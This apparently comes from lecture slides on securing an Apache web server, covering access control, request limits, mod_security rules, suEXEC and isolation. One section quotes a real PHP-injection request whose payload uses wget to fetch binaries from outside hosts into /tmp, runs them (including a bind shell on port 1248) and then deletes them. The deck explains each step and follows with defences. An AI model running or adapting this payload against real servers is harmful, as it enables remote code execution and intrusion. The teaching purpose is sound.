250 likes | 392 Views
Apache and Security. There are many security holes in Apache this is not so much a problem with Apache itself but with how you configure and maintain your server allowing access to / (root) and thus directories outside of DocumentRoot
E N D
Apache and Security • There are many security holes in Apache • this is not so much a problem with Apache itself but with how you configure and maintain your server • allowing access to / (root) and thus directories outside of DocumentRoot • letting people access server information including the type and version of apache • allowing cgi scripts to run in directories with secure data • allowing directory indices to be shown • not securing the PUT command • giving apache (as a user) privileges that it shouldn’t have • allowing access to the system’s /tmp directory • not prohibiting overly long URLs • A naïve web administrator might set up apache in such a way that it is wide open to attacks • hackers might then be able to access secure files and copy, alter or delete data that they shouldn’t otherwise be able to access
Protecting Server Identity • Apache returns a brief description of itself in the response headers listed under Server • Server: Apache/2.2.17 (Unix) PHP 5.1.6 • A clever hacker may know how to defeat security mechanisms of Apache 2.2, Unix or PHP 5 • so why advertise this? • Can you hide this information? • unfortunately, Apache does not allow you to remove the Server description from the header • even if you use the mod_headers module • however, you can limit the details of the server • the directive ServerTokens allows you to specify how much information will be made available • options include OS, Minor, ProductOnly • for instance, ProductOnly will list just Apache
Faking Your Server’s Identity • There is a module, mod_security, which allows you to provide bogus server information • the module is not part of apache but generated from the open source community to help protect apache • Use the directive SecServerSignature: “some name” • you can fill it what you like such as “Microsoft-IIS/6.0” • while this will change the information listed under Server in the header, the information that might automatically be sent in other cases needs to also be limited • use the directive ServerSignature off to ensure that in such cases, Apache is not divulging itself • Another alternative is to actually change the Apache source code (recall that Apache is open source, you can edit the source files) • find the location of where in the C code the server’s type is defined as Apache 2.2-17 and change it to whatever you like • this is probably only defined once (in a C header (.h) file), so make that change and then your server will report itself to be something else like Microsoft-IIS/6.0
Root’s public_html Directory • Recall that if you set up user directories, then each user is given a default directory under /home/username/public_html • this allows users to access files underneath the user’s home directory • What about root? • root is just another account and so ~root would reference / and not /home/username • this can be a tremendous security violation giving people access to any file under / • How can we ensure that / is protected? • we can deny from all • or we can disable root’s user directory with • UserDir disabled root • in fact, we might want to list any other non-user account including apache and other software-owned accounts • in general, you would want to disable all UserDir accounts unless they specifically need to have their own public_html directory
Controlling Access with Allow/Deny • We’ve already seen that we can control access to the server with Allow and Deny statements • however, we only used IP addresses of specific computers or networks, we can use other values in our control as well • NOTE: if you use Order without Allow or Deny, then access is specified as all (allow) or none (deny) based on the order that they appear, so for instance if you use Order allow,deny, then no one can access the web site and if you use Order deny,allow everyone can access it • aside from IP addresses, you can specify • partial IP addresses • ports • domain names • partial domain names • IPv6 addresses • regions • countries • HTTP methods • whether an environment variable has been set or not • examples follow
Examples • For each of our examples, we will assume that we have the following directives • <Directory /usr/local/apache2/products/stuff> • Order deny,allow • Deny from all • Allow from X • </Directory> • where X is an example value, and we will see in each example who can access the specific directory • Allow from 10.2 • only people on domain 10.2 (first two octets of the IP address) will have access • this denotes all addresses from 10.2.0.0 to 10.2.255.255 • Allow from 10.2.0.0/16 • the /16 means “only apply the first two octets” (16 bits) • Allow from 10 172 192 • here, we allow access to anyone whose domain starts with 10, 172 or 192 (the list is separated by spaces, not commas)
Using Domain Names • Allow from edu • allow access only to people whose domain is edu • notice that the domain is the last part of an IP alias but the first part of an IP address • this might be easier than using one or more domain numbers because edu is spread over multiple numbers, so this simplifies the effort • for this to work, apache will have to request a reverse DNS lookup because apache will have the IP address, not the alias, so a reverse mapping is required to find out what the domain is as an alias • if there is no match in the DNS table, access will be disallowed • you might want to implement a “paranoid” lookup in which you take the IP alias and map it back to an IP address to ensure that the reverse lookup was correct • this technique could get around any attacks where the attackers are using IP spoofing • see figure 10-2 for an example where IP spoofing is prevented
Continued • Just as you can use portions of an IP address, you can use portions of an IP alias • Allow from edu • anyone in the edu domain • Allow from nku.edu • anyone from any department at NKU (e.g., cs.nku.edu, it.nku.edu, informatics.nku.edu) • Allow from cs.nku.edu • more specific • You cannot specify a partial spelling, for instance • s.nku.edu • in hopes of covering both cs and informatics • You can use private domain names as long as they are properly mapped in your DNS • these are domain names that are not any of the known domains (e.g., .com, .edu, .gov, etc) • Allow from .sales • notice in this case, the domain name starts with a .
Restrictions • IP address assignments are dictated by the Internet Assigned Numbers Authority (IANA) • see www.iana.org/assignments/ipv4-address-space • in the list, ARIN means that the numbers are allocated to the North American region • which includes domains 128, 129, 169, 172, 192, 198 (these are the domains for “edu” sites) • the reason that you might want to restrict by region is that most known attacks come from Asia • grant access to specific regions that do not include the regions of known attacks • or Allow from all and then Deny from specific regions, particularly those in Asia • unfortunately, the Asian region is split into two categories • RIPE NCC (includes Europe) • APNIC (includes Australia)
Country Restrictions • Would it be better to restrict by specific country domain? • .au for Australia, .ca for Canada, .cn for China, .de for Germany, .es for Spain, .fr for France, .gb for United Kingdom (also .uk), .il for Israel, .in for India, .it for Italy, .jp for Japan, .ru for Russia, .us for United States • You can use the IP alias domain name restriction as in • Allow from all • Deny from .cn • Or • Deny from all • Allow from .us • The problem with this approach is that • not all IP aliases will use the domain of their country (e.g., .edu is for any US university, .com is for company no matter where it might be located, .org is for any non-profit organization) • IP aliases may be spoofed • a hacker might have an ISP in another country or may launch an attack through country so that the IP address does not match the country you are restricting
The <Limit> Container • If you want to control access to only specific HTTP methods, you use the <Limit> container • since you control access based on <Directory> locations, you will typically place a <Limit> inside your <Directory> container (or <Files> or <Location> containers) • <Limit method(s)> • access control directives here • </Limit> • in this way, for instance, you can restrict PUT access to a specific IP address or port • <Directory /var/web/htdocs> • <Limit PUT POST> // method name is case sensitive • Order deny,allow • Deny from all • Allow from 10.11.31 • </Limit> // other directives can go here • </Directory>
Request Limitations • Attacks to apache are often made through HTTP requests • we will explore how in the next lecture • In order to safeguard apache from such requests, one fairly simple solution is to limit the size of requests • this can be done through several directives, all of which are only available as server configuration directives (not <VH>, <Dir> or other) • LimitRequestFields value • limits the number of fields in a request (e.g., method, host name, user-agent, accept, accept-language, accept-encoding, keep-alive, etc) • value can be an integer between 0 and 32767 with a default of 100, 20 might be reasonable (most browsers send no more than 10 fields) • LimitRequestFieldSize value • value defaults to 8190 bytes and cannot be larger than 8190 but can be smaller
Continued • More limitation directives are • LimitRequestLine value • again, value is in bytes • this limitation is placed on the size of the request line, which includes the method, URL and protocol version • since the method is a single word of no more than 9 letters (PROPPATCH being the longest) and the protocol is typically HTTP/1.1, this limitation should be based on what you expect the longest URL to be • you will have to figure this out by looking at the number of subdirectories and their names, the longest file name, and the longest query that might be tacked onto that particular file • /dir1/dir2/dir3/dir4/filename.ext?query1=value&query2=value • LimitRequestBody value • the attack we looked at consisted mostly of a body, if we had restricted that, we might have prevented the attack • the value is in bytes and can be between 0 (unlimited) and 2G, a reasonable length might be 1024 • LimitXMLRequestBody value
Obfuscated Attacks • In a URL, spaces are replaced with + signs and unsafe characters are replaced by %vv where vv is their hexadecimal ASCII value • for instance, < becomes %3C and [ becomes %5B • these are known as escape sequences • the % means “do not interpret what follows literally” • Hackers can replace safe characters with escape characters in order to make the URL less understandable • a web administrator who looks through URLs in a log might not be able to easily figure out what a URL means and thus cannot see it for what it is – a hacking attempt • Consider the URL • http://someserver.com/%75%72%6C%2F%68%61%63%6B • if you map the escape characters to their actual values, you find this is the path /url/hack • why would anyone do this? example follows
Example • The actual code is presented on pages 290-291 • this is what it translates into • GET comm/content/modules.php?name=Forums&file=viewtopic &p=1763&highlights=‘.system($HTTP_GET_VARS[lol]).’ &lol=echo _START_ • cd /tmp • wget http://www.mikeysmtn.com/nku/var • chmod +x var • ./var • rm –rfvar • wget http://home.arcor.de/badroot/bindit • mvbindithttpd • ./httpd 1tpd 1248 • rm –rfhttpd • echo _END_ • HTTP/1.0 • The first line is used to take advantage of a php vulnerability that allows the remainder of the request to be executed as bash script code • what does it do?
Continued • This shell script code is being executed by an apache child • the child is owned by apache • therefore the child and the code has the same access rights as apache • Change to the /tmp directory and download the file var from a website that had previously been hacked into • all users, including any program, have write access to /tmp because temporary files are written here by a lot of software • Make var executable and execute it • Once done executing, delete var • Now obtain the program bindit • possibly from another, hacked into website • Change bindits name to httpd, and run it using port 1248 • Once done executing bindit (now httpd), remove it and end the request
So What Just Happened? • The question is, what do var and bindit do? • they could do just about anything • delete files from your htdocs site • plant new files into your htdocs site (cgi programs that allow you to gain access to secure documents by bypassing password files) • insert a new user name/password into various password files • insert viruses or spyware • insert a copy of var and bindit on your website so that this attack can continue now from your website instead of the originator’s website • it is less likely that the two programs will effect files outside of the htdocs site because var and bindit are owned by apache and so doing rm –rf /* would not work • that instruction would require root access • Note that the main weakness exploited in the example attack was with php, without that, the request cannot gain access to the bash shell • but php is used quite often for cgi scripts, so without php, you might lose some functionality in your server
How to Protect Your Server • Aside from php, another weakness exploited here is that /tmp is writable to anyone • we don’t want to restrict this or else /tmp will be of no use, but we might want to make sure that while /tmp can be written to, any files written there cannot be executed • add to your /etc/fstab the line • /dev/sda# /tmp ext# defaults,noexec 1 2 • where the # signs are the appropriate numbers, such as sda5 and ext3 • notice that the HTTP request included deleting the files, so searching your /tmp directory for attacks may not be very useful • bindit was renamed to httpd to hide its name from a system administrator who might be examining running processes using ps aux • there are other solutions to the /tmp problem that may be useful, see pages 293-294
Blocking Outbound HTTP Connections • Another security hole that the attack took advantage of was using wget from an HTTP request • you as a user might use wget for legitimate purposes, but a request being serviced by an apache child should not need to ever use wget (or http) • you can configure your OS firewall to permit inbound connections over ports 80 and 443 but not outbound connections • you would make these changes through your firewall GUI or through the /etc/sysconfig/iptables file • iptables –A OUTPUT –p tcp --dport 80 –j DROP • iptables –A OUTPUT –p tcp –dport 443 –j DROP • notice that this would restrict the computer running apache from ever being able to send out its own http requests, so you would be unable to for instance use the web to download new versions of the software or security patches • you could get around this by using some other port, say 8080
suEXEC • In our example attack, the request gained access to the bash shell and ran a script as apache (or www/daemon) • while apache itself is more restricted than root, it has more privileges than a typical user, for instance, it can execute cgi scripts and access files under ServerRoot • We might want to place further limitations on apache • so that cgi scripts executed by apache are not owned by apache but by a lesser owner • this is supported through suEXEC • while Unix/Linux support this, Windows does not • This feature is provided with the module mod_suexec • when a cgi or ssi program is called, apache will first call a wrapper program which has lesser privileges and the wrapper program will then call the script
mod_security Module • This module is known as a Web application firewall • it performs basic checking on requests and rejects those that fail various checks or rules • one action that it performs is to take the original URL and translate it into a non-obfuscated form • removing multiple / and ./ • replace %00 with spaces • You write rules using the SecRules directive in conf files • each rule will specify an environment variable and a string or regular expression • operators let you test things like “contains”, “greater than”, etc • each rule can have its own action, and you can specify default actions in case a rule does not have its own action • if the string is found in the variable, the action is taken (whether the rule-specific action or the default action) • actions include allow or deny access; log or nolog; exec a script, redirect, status (return a particular status code), and pass (skip this rule)
mod_security Directives • Aside from SecRule and SecFilterSelective, there are several other directives from this module • SetFilterEngineDetectionOnly, On or Off • SecFilterCheckUrlEncoding on or off • check to see if special characters were encoded in the original URL (as we saw with our obfuscated example) • SecFilterForceByteRange value • forces requests to contain values in the specified byte range (0 to 255 by default, but we might want to restrict it just to 32..126, the usable ascii characters in a URL) • this can be used to prevent some attacks including stack overflows • SetAuditEngine and SetAuditLog • used to log requests that match some rule • SecFilterDefaultAction • establish a default action for any rule that omits an action • for instance, the action “deny,log,status:500” means deny the request, log the request, reply with a 500 (Internal Server Error) status code
Example Rules • Examples for how and why you might want to apply rules • SecRule “^\.\./” deny,log • look for URLs that start with .. and deny them • SecRule “QUERY_STRING” /bin/ deny,log • look for /bin/ in a query string in order to ensure that a request does not attempt to place anything in our /bin directory • SecRule “POST_PLAYLOAD” “!(jpg|jpeg|gif|png)” allow • for a POST request, allow anything to be uploaded as long as it does not contain one of the image file extensions • SecRule REQUEST_METHOD “!^GET$” chain • SecRuleHTTP_Content-Type “!(^$|^application/[a-z]*$)” deny,log • in this case, there are two rules, first if a method is not GET, then evaluate the second rule which says if the content type is either blank or any form of application, disallow and log it • if we receive a non-GET and the content is an application, we do not want to permit this • see http://sourceforge.net/apps/mediawiki/mod-security/index.php?title=Reference_Manual for more details on directives, environment variables, operators and strings
Publicfile • Another security idea is to separate your dynamic content from your static content • dynamic content will still be served by apache and open to whatever attacks clever hackers might come up with • the static content can be moved onto a separate server known as a publicfile • The publicfile (a separate program) will not do any of the following • authenticate users – anyone can access the files • read files that are not readable by everyone (world) • modify the public area • allow PUT or POST methods (it only services GET and HEAD) • run CGI programs or perform SSI • permit directory listings • It will support virtual hosts and any user-controlled content • Publicfile is only available in Linux/Unix, not Windows
VMs and Isolation • Yet another choice for your server is to isolate parts of it that handle security-breaching tasks • for instance, you could run two servers, one that handles all normal requests and one that handles all php requests • this will require that you have two distinct IP addresses, one for each server • you could either do this on two separate computers or on a single computer • this idea can be extended to more than two servers should you have other areas of concern • for instance, a server to handle static content, a server to handle dynamic content, a server to handle https and a server to require log ins • you can isolate servers inside of VMs so that if their security is breached, the extent of the attack will be restricted to that VM, not the general files of the full website or even files in the system or user portions of the computer